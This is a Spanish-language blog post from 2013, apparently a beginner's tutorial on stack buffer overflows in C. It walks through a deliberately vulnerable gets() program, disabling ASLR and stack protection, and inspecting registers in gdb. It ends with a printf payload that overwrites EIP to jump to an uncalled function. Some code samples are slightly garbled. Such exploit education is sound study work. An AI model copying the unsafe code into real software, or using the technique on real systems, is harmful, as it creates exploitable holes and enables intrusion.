sábado, 13 de julio de 2013

Buffer Overflow

Bienvenidos una vez mas, hoy quiero compartir un poco de conocimiento sobre los buffer overflow.

http://en.wikipedia.org/wiki/Buffer_overflow
Cuando yo lo estaba tratando de comprender era complicado hay mucho pero mucho material en internet pero el problema es lo poco que se entiende de el,se entiende que es una carga en el buffer de almacenamiento. Que quiere decir esto?. Cuando declaramos variables en c podemos asignarles un tamaño en memoria, asi luego podemos acceder a ella por medio de un puntero, la mayoria de los arrays en c son punteros.

 #include<stdio> 
 int main() 

 char puntero[15] = "Hola mundo"; 
 printf("contenido de puntero: %s", puntero);
 printf("\nPosicion en memoria de la variable puntero: 0x%x \n\n", &puntero);
 return 0;
}




al parece anda bien el programa pero trantando de cabiarlo un poco


vemos que si cambiamos el tamaño del array parece que el programa nos imprime el mensaje mas codigo basura, pero cuando compilamos el mismo compilador nos advierte del fallo de la longitud de la palabra.

root@servidor:~/Desktop/programacion# gcc minites.c -o test

 minites.c: In function ‘main’: minites.c:7:23: warning: initializer-string for array of chars is too long [enabled by default]

 root@servidor:~/Desktop/programacion# ls
0days escaneofin.c minites.c~ socket strcpy.c autenticacion.c llamadas.c ping.c socketraw.c test auth llamadas.c~ puntero socketraw.c~ test.c call minites.c puntero.c strcp


 pero lo compila y lo podemos ejecutar, asi funciona esto la programacion en c, esta sobre el entendimiento de la memoria, al principio pense que todo era oculto pero cuando se comienza a averiguar no es mas que una lluvia de programacion orientada a objeto y sockets, creo que el post sera un poco largo pero quiero dejar clara todas estas partees.
 Otro ejemplo

 #include<stdio.h>

int main()
 { 
 char puntero[15];
 gets(puntero); 
 printf("contenido de puntero: %s", puntero);
 printf("\nPosicion en memoria de la variable puntero: 0x%x \n\n", puntero); 
 return 0; 
}






normal no?. recibe la entrada del usuario y la guarda en la variable puntero, para eso usamos la funcion gets() pero que pasa cuando ingresamos mas caracteres de los que podemos recibir. Antes de eso vamos a quitar la opcion de  random memory

root@servidor:~# cat /proc/sys/kernel/randomize_va_space
 2
root@servidor:~# echo 0 > /proc/sys/kernel/randomize_va_space


Esto lo hacemos para que no nos arroje una random de memoria en la variable, si se daran cuenta siempre que ejecutamos el programa nos arrojaba una direccion de memoria distinta, ahora nos arrojara una fija. 
 


root@servidor:~/Desktop/programacion# gcc minites.c -ggdb -fno-stack-protector -mpreferred-stack-boundary=4 -o test

Cuando ingresamos 20 Aes no pasa nada pero con 30 parece que hay un fallo de memoria, una violacion 

root@servidor:~/Desktop/programacion# ./test AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
contenido de puntero: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
Posicion en memoria de la variable puntero: 0xbffff4f1

 Violación de segmento 

-ggdb -fno-stack-protector -mpreferred-stack-boundary=4 estos parametros los recibe el compilador de c puedes dar un man gcc para mas informacion, el ggdb es para cuando vallamos a depurarlo.

 

Bien ahora entramos en materia con nuestro depurador de ggdb.

 root@servidor:~/Desktop/programacion# gdb ./test 

list 1 es para listar el programa como pasamos el parametro -ggdb nuestro depurador recibe esa informacion es para mejor entendimiento cuando se depura un programa. solo nos falta colocar unos cuantos break en el programa para cuando llegue a esa pocision haga un stop y poder analizar que es lo que pasa a nivel interno del pc. 


se ejecuta el programa y llega al primer break, estamos dentro del main 

eip 0x8048455 0x8048455




el registro eip es el mas importante ya que es el que vamos a editar para que el programa haga lo que nosotros queramos, al final dejo algunos enlaces no quiero alargar esto a un curso de asm o registro xD.

 

imprimimos 100 palabras en hexadecimal de la memoria, damos la letra n para seguir ingresamos nuestras 30 Aes y volvemos a analizar los registro imprimiendo el contenido de esa memoria.

 (gdb) info reg 
eax 0xbffff4b1 -1073744719 
ecx 0xbffff4b1 -1073744719
 edx 0xb7fc2354 -1208212652
 ebx 0xb7fc0ff4 -1208217612
 esp 0xbffff4a0 0xbffff4a0 
ebp 0xbffff4c8 0xbffff4c8 
esi 0x0 0 
edi 0x0 0
 eip 0x8048461 0x8048461

 
esp apunta a una pocision en memoria que se encuentra 0xbffff4a0. Cuando imprimimos lo que contiene esa direccion de memoria podemos encontrar un numero repetido el 41. Que hexadecimal significa nuestra letra A. Cuando realizen el ejercicio veran que esp esp 0xbffff4a0 

 (gdb) x/50wx $esp 
0xbffff4a0: 0x0804853c 0xbffff4b1 0xbffff57c 0xbffff4c8 
0xbffff4b0: 0x414141f5 0x41414141 0x41414141 0x41414141 
0xbffff4c0: 0x41414141 0x41414141 0x41414141 0x00414141 
0xbffff4d0: 0x00000001 0xbffff574 0xbffff57c 0xb7fe0860 
0xbffff4e0: 0xb7ff6821 0xffffffff 0xb7ffeff4 0x0804826d
 0xbffff4f0: 0x00000001 0xbffff530 0xb7fefc16 0xb7fffac0 
0xbffff500: 0xb7fe0b58 0xb7fc0ff4 0x00000000 0x00000000
 0xbffff510: 0xbffff548 0x111cd6c6 0x21e960d6 0x00000000
 0xbffff520: 0x00000000 0x00000000 0x00000001 0x08048360
 0xbffff530: 0x00000000 0xb7ff59c0 0xb7e78d6b 0xb7ffeff4 
0xbffff540: 0x00000001 0x08048360 0x00000000 0x08048381 
0xbffff550: 0x0804844c 0x00000001 0xbffff574 0x080484a0 
0xbffff560: 0x08048490 0xb7ff0590 

y cuando finalizamos el programa el programa nos arroja una direccion de memoria, 0x00414141 in ?? (). Por lo visto solo nos falta una A para poder sobreescribir totalmente EIP. 


AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0x41414141 in ?? () 

que pasa con todo esto veamoslo con una funcion nueva en nuestro programa.
#include void nuncasejecuta() { printf("\n\nesta funcion nunca se ejecutara a menos que me llames: \n\n"); } int main() { char puntero[15]; gets(puntero); printf("contenido de puntero: %s", puntero); printf("\nPosicion en memoria de la variable puntero: 0x%x \n\n", puntero); return 0; } 


la funcion nuncasejecuta() no es llamada en el main, asi que no se debera ejecutar, pero eso no advierte que no tiene que cargarla en memoria. 


(gdb) disas nuncasejecuta 
Dump of assembler code for function nuncasejecuta: 
 0x0804847c <+0>: push %ebp 
 0x0804847d <+1>: mov %esp,%ebp 
 0x0804847f <+3>: sub $0x18,%esp 
 0x08048482 <+6>: movl $0x8048570,(%esp) 
 0x08048489 <+13>: call 0x8048360 
0x0804848e <+18>: leave 0x0804848f <+19>: ret End of assembler dump. 

tenemos la direccion en memoria de la funcion nuncasejecuta(), como recordaran para sobreescribir EIP se necesitan 31 Aes, ahora 31-4 = 27 ahora vamos a crear algo para explotar esto. 

root@servidor:~/Desktop/programacion# printf 
"AAAAAAAAAAAAAAAAAAAAAAAAAAA\x7c\x84\x04\x08" | ./test 
 contenido de puntero: AAAAAAAAAAAAAAAAAAAAAAAAAAA|�
 Posicion en memoria de la variable puntero: 0xbffff4f1 

 esta funcion nunca se ejecutara a menos que me llames: Violación de segmento root@servidor:~/Desktop/programacion# 


Y hemos podido decirle al programa que haga, aunque no este programado para eso.
he programado un pequeño script que pueden editar y practicar tambien sirve como para que aprendas algo de cracking.

 http://pastebin.com/PDj1NPaY

 "Tu eres dueño de tu mundo solo tu puede ver lo que puedes o no hacer"

 3p1c0w3nd 

 Referencias:
 http://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/ http://www.thegreycorner.com/2010/02/windows-buffer-overflow-tutorial.html www.youtube.com/watch?v=nXvSr6oZeMk

No hay comentarios:

Publicar un comentario